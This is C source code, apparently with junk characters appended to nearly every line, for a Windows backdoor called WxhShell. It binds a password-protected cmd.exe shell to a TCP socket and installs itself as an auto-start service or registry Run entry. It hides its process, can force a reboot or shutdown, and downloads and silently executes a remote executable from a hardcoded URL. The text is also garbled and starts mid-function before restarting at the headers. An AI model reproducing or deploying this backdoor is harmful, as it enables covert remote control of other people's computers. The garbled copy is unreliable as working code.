    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); JHO9d:{-  
    if(Boot(SHUTDOWN)) 2d3wQ)2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); SxH}/I|W  
    else { 9m6w.:S  
    closesocket(wsh); /pb7  
    ExitThread(0); #Wc)wL-Tg  
    } bJBx~  
    break; 5utj$ha2  
    } ^`dp!1.+  
  // 获取shell '!f5|l9SC  
  case 's': { 1.>sG2*P  
    CmdShell(wsh); &kO4^ A  
    closesocket(wsh); Xq)'p8C?  
    ExitThread(0); >nr1|2  
    break; mZM5aTQ3  
  }  g| r  
  // 退出  dc5B#  
  case 'x': { `DA=';>Y  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); _t;w n7p  
    CloseIt(wsh); M6X f}>  
    break;  WHpbQQX  
    } e|4jT7L}  
  // 离开 hF2 G{{8A  
  case 'q': { =lDmP |^  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); TR%?U/_4;r  
    closesocket(wsh); YK[O#V  
    WSACleanup(); ?2=c'%w7  
    exit(1); 3G>E>yJ  
    break; ?tSY=DK\n  
        } ;w6\r!O,  
  } BO[A1'>  
  } uox;PDK  
qrOTb9&y  
  // 提示信息 {'}Ofj   
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); O:Z|fDQ`  
} ~O^_J)  
  } J J3vC  
[R Ch7FE23  
  return; `zsKc 6%  
} !.w S+  
!*\^-uvaK  
// shell模块句柄 H+: $ 7;  
int CmdShell(SOCKET sock) /aPq9B@  
{ QR8F'7S  
STARTUPINFO si; @\q~OyV  
ZeroMemory(&si,sizeof(si)); "3>#[o  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 2]C0d8=*?  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; <Jvr mm[  
PROCESS_INFORMATION ProcessInfo; i2!{.*.  
char cmdline[]="cmd"; RE7[bM3a  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); sP&E{{<QTF  
  return 0; %%3ugD5i!  
} BF@VgozW  
'x18F#g  
// 自身启动模式 DV.MvFV  
int StartFromService(void) '"KK|]vJ  
{ M,{F/Yu  
typedef struct -0Q!:5EC  
{ ![V<vIy  
  DWORD ExitStatus; L NE]#8ue  
  DWORD PebBaseAddress; K:{Q~+   
  DWORD AffinityMask; UU !I@  
  DWORD BasePriority; 0- #ct1-  
  ULONG UniqueProcessId; dGfWRqS]  
  ULONG InheritedFromUniqueProcessId; );*GOLka  
}   PROCESS_BASIC_INFORMATION; f2Slsl;  
npe*A  
PROCNTQSIP NtQueryInformationProcess; 3 (<!pA  
gGX/p6"  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; :,u+[0-S  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; :L?zk"0C  
TRiB|b]8Q#  
  HANDLE             hProcess; _1hqD EM  
  PROCESS_BASIC_INFORMATION pbi; kOjq LA  
jBQQ?cA  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Rza \n8  
  if(NULL == hInst ) return 0; 4 I~,B[|  
:G`_IB\  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); [_~U<   
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); FStfGN  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); C6Mb(&  
{u1t .+  
  if (!NtQueryInformationProcess) return 0; k^L (q\D  
'2vlfQ@8a~  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); N7;2BUIXJ  
  if(!hProcess) return 0; ^ 1g6(k'  
Ry(!< w,  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; x=Ru@nK;  
H;CGLis  
  CloseHandle(hProcess); [sad}@R7  
vKW%l  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); U8c0C/  
if(hProcess==NULL) return 0; UxW>hbzr&V  
V*AG0@& !  
HMODULE hMod; 3Q#VD)  
char procName[255]; l^vq'<kI  
unsigned long cbNeeded; +j<Nu)0iY  
s810714  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); AV'>  
x?%vqg^r  
  CloseHandle(hProcess); tsk}]@W  
QL)UPf>Kp  
if(strstr(procName,"services")) return 1; // 以服务启动 '5Y8 rv<  
<wuP*vI "h  
  return 0; // 注册表启动 f;b(W  
} toCN{[  
>Kr,(8rA  
// 主模块 z(m*]kpL"  
int StartWxhshell(LPSTR lpCmdLine) vS X 6~m  
{ D"o>\Q  
  SOCKET wsl; ]EK"AuEz`  
BOOL val=TRUE; n% *u;iG  
  int port=0; gC3{:MC-G  
  struct sockaddr_in door; wb{y]~&6K  
*n*OVI8L  
  if(wscfg.ws_autoins) Install(); w&H ?;1  
;?y?s'>t&  
port=atoi(lpCmdLine); YgDgd\  
}:BF3cH> 0  
if(port<=0) port=wscfg.ws_port; =DtM.oQ>  
^fx9R 5E$:  
  WSADATA data; e88JT_zrO  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; /M#A[tZ3  
%0]&o, w{  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   [$V_qFv{  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); I8[G!u71)_  
  door.sin_family = AF_INET; 6zDJdE'Es  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); C*KRu`t  
  door.sin_port = htons(port); _Y0o\0B  
>Z3}WMgBN  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 1|gEY;Ru  
closesocket(wsl); &&m%=i.qK  
return 1; ,wq.C6;&  
} RJWlG'i  
('gjf l  
  if(listen(wsl,2) == INVALID_SOCKET) { MAR;k?d  
closesocket(wsl); 9(iJ=ao (  
return 1; pymT-  
} W<x2~HW(  
  Wxhshell(wsl); 6=&  wY  
  WSACleanup(); R=IeAuZR4k  
^C'k.pV n~  
return 0; 4Q]+tXes  
"_(o% \"7  
} auO^v;s  
G,XFS8{%  
// 以NT服务方式启动 /yI~(8bO  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) k_^d7yH  
{ >2wjV"W?  
DWORD   status = 0; UdY9*k  
  DWORD   specificError = 0xfffffff; |mK d5[$  
_2TIan}  
  serviceStatus.dwServiceType     = SERVICE_WIN32; eF2<L[9  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; P8TiB  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; @z2RMEC~  
  serviceStatus.dwWin32ExitCode     = 0; +/Z:L$C6  
  serviceStatus.dwServiceSpecificExitCode = 0; P_qxw-s  
  serviceStatus.dwCheckPoint       = 0; }R>g(q=N  
  serviceStatus.dwWaitHint       = 0; ?d_Cy\G  
H8\N~>  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); FV^kOz  
  if (hServiceStatusHandle==0) return; $GYy[-.`  
plp).Gq  
status = GetLastError(); oACE:h9U  
  if (status!=NO_ERROR) :Ct} ||9/  
{ e0hT  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; AQFx>:in  
    serviceStatus.dwCheckPoint       = 0; 8Mp  
    serviceStatus.dwWaitHint       = 0; !,1~:*:  
    serviceStatus.dwWin32ExitCode     = status; A5nu`e9&  
    serviceStatus.dwServiceSpecificExitCode = specificError; K|s+5>]W/[  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); @@I2bHy vb  
    return; $ D45X<  
  } k1%Ek#5  
bhg"<I  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; kp0>8rkF  
  serviceStatus.dwCheckPoint       = 0; +}:c+Z<  
  serviceStatus.dwWaitHint       = 0; ~=c#Ff =Z  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); TM"i9a? ;  
} iPs()IN.O  
jOe %_R  
// 处理NT服务事件,比如:启动、停止 d$>1 2>>  
VOID WINAPI NTServiceHandler(DWORD fdwControl) "r|O /   
{ Et7AAV*8g  
switch(fdwControl) r_ o2d8  
{ 5:AAqMa  
case SERVICE_CONTROL_STOP: aoCyYnZD  
  serviceStatus.dwWin32ExitCode = 0; t=U[ ;?  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; AU >d1S.  
  serviceStatus.dwCheckPoint   = 0; gsAcn  
  serviceStatus.dwWaitHint     = 0; U"ga0X5  
  { M,<%j  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); LtNG<n)_BH  
  } "3!4 hiU9  
  return; m6JIq}CMb  
case SERVICE_CONTROL_PAUSE: z?cRsqf  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; }]f)Fz  
  break; .&L#%C  
case SERVICE_CONTROL_CONTINUE: i/WYjo  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; D'</eJ  
  break; #$#{QEh0}  
case SERVICE_CONTROL_INTERROGATE: mDo]5 i<  
  break; ?B[Z9Ef"8l  
}; w%L0mH2]ng  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8^HMK$  
} P+]39p{  
#%x4^A9 q  
// 标准应用程序主函数 6C   
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 3L#KHTM  
{ RJGf@am&  
n RXf\*"3  
// 获取操作系统版本 (3 _2h4O  
OsIsNt=GetOsVer(); E]+W^ VG  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Ot(EDa9}IJ  
o{:D  
  // 从命令行安装 ,g/UPK8K=  
  if(strpbrk(lpCmdLine,"iI")) Install(); ku\_M  
4cs`R+]o  
  // 下载执行文件 ;B tRDKn  
if(wscfg.ws_downexe) { kR'!;}s  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) C YnBZ  
  WinExec(wscfg.ws_filenam,SW_HIDE); r{Xh]U&>k  
} /LJ?JwAvg5  
bk"` hq  
if(!OsIsNt) { -BB5bsjA  
// 如果时win9x,隐藏进程并且设置为注册表启动 JSO>rpO  
HideProc(); )L^WD$"'Q  
StartWxhshell(lpCmdLine); :e gSW2"5S  
} whvM^  
else agt7b@-5=  
  if(StartFromService()) 8;+t.{  
  // 以服务方式启动 -B@jQg@ >  
  StartServiceCtrlDispatcher(DispatchTable); ncu> @K$n  
else Y5(`/  
  // 普通方式启动 \alRBHqE  
  StartWxhshell(lpCmdLine); "IB)=Hc  
jp2l}C  
return 0;   }/M ~  
} o.sa ?*  
3}XUYF;  
;)UZT^f`)K  
EV]exYWB  
=========================================== >6(nW:I0y  
`yc .A%5  
9t;aJFI  
rMLCt Gi  
Kx#G_N@  
nfl6`)oW  
" Is-Kz}4L  
UD"e:O_  
#include <stdio.h> -6Cxz./#yS  
#include <string.h> JTdK\A>l  
#include <windows.h> KLbP;:sr  
#include <winsock2.h> oA73\BFfP  
#include <winsvc.h> #B>Hq~ vrC  
#include <urlmon.h> 8qt|2%  
%#"uK:(N  
#pragma comment (lib, "Ws2_32.lib") (}bP`[@rX!  
#pragma comment (lib, "urlmon.lib") ]`+>{Sx 1  
a*=\-;HaZ  
#define MAX_USER   100 // 最大客户端连接数 dB< \X.   
#define BUF_SOCK   200 // sock buffer U4 M!RdG  
#define KEY_BUFF   255 // 输入 buffer zYF'XB]4  
&W}ooGg  
#define REBOOT     0   // 重启 AnIENJ  
#define SHUTDOWN   1   // 关机 3\6jzD  
:0#!=  
#define DEF_PORT   5000 // 监听端口 eF:6k qg  
G4ZeO:r  
#define REG_LEN     16   // 注册表键长度 :m-HHWMN  
#define SVC_LEN     80   // NT服务名长度 6ffrV  
2Xgn[oI{  
// 从dll定义API 5a-8/.}cP  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); t3G%}d?  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); v@< "b U  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 0I079fqk<  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); W0l|E&fj[  
t5[{ihv~:  
// wxhshell配置信息 hm?-QVRPV  
struct WSCFG { 9KD2C>d<  
  int ws_port;         // 监听端口 7?B]X%  
  char ws_passstr[REG_LEN]; // 口令 k1B7uA'h"G  
  int ws_autoins;       // 安装标记, 1=yes 0=no 3 u-j`7  
  char ws_regname[REG_LEN]; // 注册表键名 N'|zPFk g  
  char ws_svcname[REG_LEN]; // 服务名 G8eAj%88  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 #jK{)%}mA  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 yQ6{-:`)  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 9 /q4]%`  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ]J m9D=  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" =suj3.   
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 8vc4J5  
5U%u S^%DP  
}; :6Bk<  
PK!=3fK4\F  
// default Wxhshell configuration D55dD>  
struct WSCFG wscfg={DEF_PORT, eDIjcZ  
    "xuhuanlingzhe", ld`oIEj!P_  
    1, c tTbvXP  
    "Wxhshell", >.QD:_@:  
    "Wxhshell", q4lL7@_  
            "WxhShell Service", jb fMTb4  
    "Wrsky Windows CmdShell Service", A10/"Ec<u  
    "Please Input Your Password: ", zgqe@;{  
  1, 8[ :FU  
  "http://www.wrsky.com/wxhshell.exe", t~Ds)  
  "Wxhshell.exe" CKrh14ul  
    }; J'Gn M?M  
3|g'1X}  
// 消息定义模块 Up)b;wR  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; nA5v+d-<T  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 2'_Oi-&  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; E#8`X  
char *msg_ws_ext="\n\rExit."; HrWXPac A  
char *msg_ws_end="\n\rQuit."; ]D%D:>9|/  
char *msg_ws_boot="\n\rReboot..."; <-X)<k  
char *msg_ws_poff="\n\rShutdown..."; u!X[xe;  
char *msg_ws_down="\n\rSave to "; GS\-  
0t6s20*q  
char *msg_ws_err="\n\rErr!"; GP[;+xMBh  
char *msg_ws_ok="\n\rOK!"; (m~MyT#S  
ub./U@ 1  
char ExeFile[MAX_PATH]; 6e/2X<O  
int nUser = 0; ~@MIG  
HANDLE handles[MAX_USER]; [Gysx  
int OsIsNt; =-`X61];M  
\Qz>us=G  
SERVICE_STATUS       serviceStatus; Cm(Hu  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; V'\4sPt  
a'XCT@B  
// 函数声明 _sJp"4?  
int Install(void); % UY=VE\F  
int Uninstall(void); 5|&Sg}_  
int DownloadFile(char *sURL, SOCKET wsh); J1P82=$,  
int Boot(int flag); XR]]g+Z  
void HideProc(void); J4xt!RW!  
int GetOsVer(void); +TA(crD  
int Wxhshell(SOCKET wsl); %\%1EZQ%  
void TalkWithClient(void *cs); }a|S gI  
int CmdShell(SOCKET sock); $l-j(=Md  
int StartFromService(void); Oa CkU  
int StartWxhshell(LPSTR lpCmdLine); E^T/Qu  
U/wY;7{)#  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); dV.)+X7<  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); [}}oHm3&  
\D>'  
// 数据结构和表定义 V=QvwQlZ  
SERVICE_TABLE_ENTRY DispatchTable[] = U7bG(?k)  
{ el 5F>)  
{wscfg.ws_svcname, NTServiceMain}, B qKD+  
{NULL, NULL} ~iyd p  
}; N@Bqe{r6j  
kVe}_[{m  
// 自我安装 l4v)tV~  
int Install(void) W>/O9?D  
{ 2lE { P  
  char svExeFile[MAX_PATH]; ^~eT# Y8  
  HKEY key; Td X6<fVV  
  strcpy(svExeFile,ExeFile); >LwAG:Ud  
-P@o>#Em  
// 如果是win9x系统,修改注册表设为自启动 Et# }XVCJ  
if(!OsIsNt) { |`E\$|\p  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { )u'oI_  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Jel%1'Dc^  
  RegCloseKey(key); 1h"0B  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { jQ1~B1(  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); VS1gg4tCv  
  RegCloseKey(key); z| i$eF;x3  
  return 0; DM~Q+C=Yr  
    } d #y{eV$Q  
  } ^5QSV\X  
} VCkhK9(N  
else { jFbz:aUF  
Eki7bT@/  
// 如果是NT以上系统,安装为系统服务 W~Eq_J?I  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); =r:D]?8oC  
if (schSCManager!=0) f+-w~cN  
{ YdhrFw0`~r  
  SC_HANDLE schService = CreateService /M\S^ !g@  
  ( &.K=,+0_R/  
  schSCManager, /,c9&i t(M  
  wscfg.ws_svcname, 8!S="_  
  wscfg.ws_svcdisp, (y=P-nm  
  SERVICE_ALL_ACCESS, 6n45]?  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , \Vr(P>  
  SERVICE_AUTO_START, 'hg, W]  
  SERVICE_ERROR_NORMAL, <b{Le{QJ*  
  svExeFile,  }m\  
  NULL, +q1 @8  
  NULL, =y[eQS$  
  NULL, T[~ak"M  
  NULL, xAon:58m{  
  NULL *`=V"nXw$|  
  ); lf[ (  
  if (schService!=0) z^ KrR  
  { ?N&"WL^|  
  CloseServiceHandle(schService); //_v"dqP{)  
  CloseServiceHandle(schSCManager); X;6&:%ZL@^  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 4$1sBY/  
  strcat(svExeFile,wscfg.ws_svcname); p+#uPY1#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { xH; 4lw  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); MpGWt#  
  RegCloseKey(key); c R[DT04  
  return 0; J:M^oA'N:>  
    } P_lk4 0X  
  } f:=q=i  
  CloseServiceHandle(schSCManager); '~<D[](/F  
} *"q ~z  
} "<txg%j\J  
_N.ZpKVu  
return 1; I>C;$Lp]  
} L+9a4/q  
U3 ED3) D  
// 自我卸载 UXR$7<D+  
int Uninstall(void) pV:X_M6  
{ M)i2)]F S  
  HKEY key; +wS?Z5%mU  
,d&~#W]  
if(!OsIsNt) { RVlC8uJ;P  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { MJ4+|riB  
  RegDeleteValue(key,wscfg.ws_regname); oypX.nye_  
  RegCloseKey(key); ft?J|AG  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { .y#@~H($  
  RegDeleteValue(key,wscfg.ws_regname); p@YU7_sF^!  
  RegCloseKey(key); GwxfnC Ki9  
  return 0; _u]Wr%D@  
  } ` ~VV1  
} HwiG~'Ah9  
} YDz:;Sp\  
else { sj0Hv d9  
AL3zE=BL  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); {[NBTT9&  
if (schSCManager!=0) pR; AqDQ  
{ s@K|zOx  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ko=vK%E[  
  if (schService!=0) gM^ Hs7o,  
  { Aum&U){yY  
  if(DeleteService(schService)!=0) { Kw"7M~  
  CloseServiceHandle(schService); o3qBRT0[R  
  CloseServiceHandle(schSCManager); M,3sK!`>  
  return 0; vqJiMa j@Z  
  } 6- s/\  
  CloseServiceHandle(schService); g.iiT/b  
  } D-69/3PvP  
  CloseServiceHandle(schSCManager); [ !].G=8  
} #zZQ@+5zw  
} j^Bo0{{  
?2aglj*"v,  
return 1; ||0mfb  
} SB:-zQ5  
kOs_]  
// 从指定url下载文件 C8e{9CF  
int DownloadFile(char *sURL, SOCKET wsh) qI5_@[S*  
{ 3tA6r  
  HRESULT hr; 8%U+y0j6b  
char seps[]= "/"; PL%U  
char *token; 7??+8T#n*  
char *file; ?2E@)7  
char myURL[MAX_PATH]; XSpX6fq  
char myFILE[MAX_PATH]; d+\o>x|Y!Y  
Vyf r>pgW1  
strcpy(myURL,sURL); ,1a6u3f,  
  token=strtok(myURL,seps); ]wc'h>w  
  while(token!=NULL) L^Fni~  
  { g;UB+Y 247  
    file=token; p>Qzz`@e  
  token=strtok(NULL,seps); l*e*jA_>:7  
  } a[ 1^)=/DM  
5.q2<a :  
GetCurrentDirectory(MAX_PATH,myFILE); |p-, B>p!  
strcat(myFILE, "\\"); to|O]h2*U2  
strcat(myFILE, file); O>IY<]x>L  
  send(wsh,myFILE,strlen(myFILE),0); `gDpb.=Y  
send(wsh,"...",3,0); }N&}6U  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); H"=%|/1M0  
  if(hr==S_OK) !NuiVC]  
return 0; .-awl1 W  
else 9i;%(b{  
return 1; N>/!e787OU  
;xS@-</:  
} P\pHos  
^mv F%"g  
// 系统电源模块 W.'#pd  
int Boot(int flag) !9_HZ(W&  
{ HQCxO?  
  HANDLE hToken; g=XvqD<  
  TOKEN_PRIVILEGES tkp; yT.h[yv"w  
-Wd2FD^x  
  if(OsIsNt) { &CpxD."8x  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); G%jgr"]\z  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Hbn%CdDk1  
    tkp.PrivilegeCount = 1; "jb`KBH%"  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; M%92 ^;|`  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); #^|y0:  
if(flag==REBOOT) { aY@]mMz\  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) EZ:pcnL {  
  return 0; ? %XTD39  
} %JF^@\E!|  
else { p.A_,iE  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) UyTsUkY  
  return 0; 6!*be|<&  
} IW?).%F  
  } U5\^[~vW  
  else { DvB!- |ek  
if(flag==REBOOT) { O2g9<H   
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ;h<(vc3@f  
  return 0; zo6|1xq   
} z$4g9  
else { ,R#pQ 4  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 8Wqh 8$  
  return 0; ?<)4_  
} ~_8Dv<"a  
} #I8)|p?P  
I$7|?8  
return 1; b"Hc==`  
} \@&oK2f  
"\cDSiD  
// win9x进程隐藏模块 R/ix,GC  
void HideProc(void) CT1@J-np  
{ '9@S  
p!B& &)&db  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); v3PtiKS  
  if ( hKernel != NULL ) BbsgZ4  
  { 55q!2>Jh.  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Q]$gw,H"6  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); v3O+ ;4  
    FreeLibrary(hKernel); 7^)8DwAl  
  } -<H\VT%98  
 bi/ AQ^  
return; FnxPM`Zx  
} cq+G0F+H  
diHK  
// 获取操作系统版本 HVjN<HIqM  
int GetOsVer(void) Pt5"q3ec{T  
{ A0X'|4I  
  OSVERSIONINFO winfo; mh#NmW>n  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 6Cw+  
  GetVersionEx(&winfo); /5:2g# S4  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) epN> ;e z  
  return 1; !iv6k~.e'2  
  else _|+}4 ap  
  return 0; v z6No%8X  
} M^IEu }  
?#s9@R1  
// 客户端句柄模块 -&q@|h'  
int Wxhshell(SOCKET wsl) cD.afy  
{ =jv3O.zq  
  SOCKET wsh; #dA9v7  
  struct sockaddr_in client; e~oh%l^C72  
  DWORD myID; <<'%2q5  
BOt1J_;(rO  
  while(nUser<MAX_USER) `vjn,2S}  
{ )qSjI_qt5  
  int nSize=sizeof(client); `]~1pc  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); %#t*3[  
  if(wsh==INVALID_SOCKET) return 1; 9*~bAgkWI  
Y"H'BT!b}  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ^^,cnDlm  
if(handles[nUser]==0) u00w'=pe)  
  closesocket(wsh); 5 EhOvt8  
else 3JYhF)G  
  nUser++; :1asY:)vNP  
  } VAW:h5j2@  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); r&%TKm^/  
f$>KTb({B  
  return 0; O06 2c)vIY  
} /U$5'BoS  
,3XlX(P  
// 关闭 socket *^y,Gg/  
void CloseIt(SOCKET wsh) 68*a'0  
{ gn//]|#H+  
closesocket(wsh); =[JstiT?E  
nUser--; lXpbAW  
ExitThread(0); uB=DC'lkg  
} b~$8<\  
|j}D2q=  
// 客户端请求句柄 b:WA}x V  
void TalkWithClient(void *cs) N\l|3~  
{ 5ENU}0W  
h"0)g :\  
  SOCKET wsh=(SOCKET)cs; :o3>  
  char pwd[SVC_LEN]; p=!12t  
  char cmd[KEY_BUFF]; []lMv ZW  
char chr[1]; 8Z|A'M  
int i,j;  p!> 5}f6  
<-6f}wN  
  while (nUser < MAX_USER) { %$D n);6=  
nsL"'iQ  
if(wscfg.ws_passstr) { b>h L*9  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); gmqA 5W~y  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 5GK> ~2c(  
  //ZeroMemory(pwd,KEY_BUFF); 'XJqh|G  
      i=0; LZtO Q__B)  
  while(i<SVC_LEN) { E "%d O  
|LV}kG(2  
  // 设置超时 t:x"]K  
  fd_set FdRead; C/?x`2'  
  struct timeval TimeOut; FuC#w 9_  
  FD_ZERO(&FdRead); n'To:  
  FD_SET(wsh,&FdRead); "D,}|  
  TimeOut.tv_sec=8; ]z O6ESH  
  TimeOut.tv_usec=0; u>ZH-nw O  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); FMX ^k  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); y(ceEV  
23d*;ri5  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); E- jJ!>&K  
  pwd=chr[0]; jl>jy6T  
  if(chr[0]==0xd || chr[0]==0xa) { 0fGt7 "Q  
  pwd=0; s%QCdU ]  
  break; tWyl&,3?1  
  } E4$y|Ni"  
  i++; 2= Y8$-  
    } w=_q<1a  
kyi"U A82  
  // 如果是非法用户,关闭 socket +iqzj-e&e[  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 1B#iJZ}  
} `@xnpA]l  
z6*r<>Bf+b  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ^ Paf-/  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); B&QEt[=s  
{ SF'YbY  
while(1) { ;Q8`5h   
i>7]9gBm1q  
  ZeroMemory(cmd,KEY_BUFF); X2|&\G9c  
\3&1iA9=)  
      // 自动支持客户端 telnet标准   6d`qgEM3  
  j=0; XXw>h4hl  
  while(j<KEY_BUFF) { 5dX /<  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 8d?%9# p-)  
  cmd[j]=chr[0]; $."D OZQ3U  
  if(chr[0]==0xa || chr[0]==0xd) { j[Jwa*GQP  
  cmd[j]=0; "8p<NsU   
  break; : q>)c]  
  } Quwq_.DU  
  j++; J`4V\D}n  
    } i#NtiZ.t=  
bE,#,  
  // 下载文件 mBxMDnh  
  if(strstr(cmd,"http://")) { =Fc}T%  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); q[Tl#*P?y  
  if(DownloadFile(cmd,wsh)) :-_"[:t 5Z  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); -_xTs(;|8  
  else SP\s{,'F-b  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;VzdlCZ@  
  } v .ow`MO=;  
  else { xS(VgP&YGO  
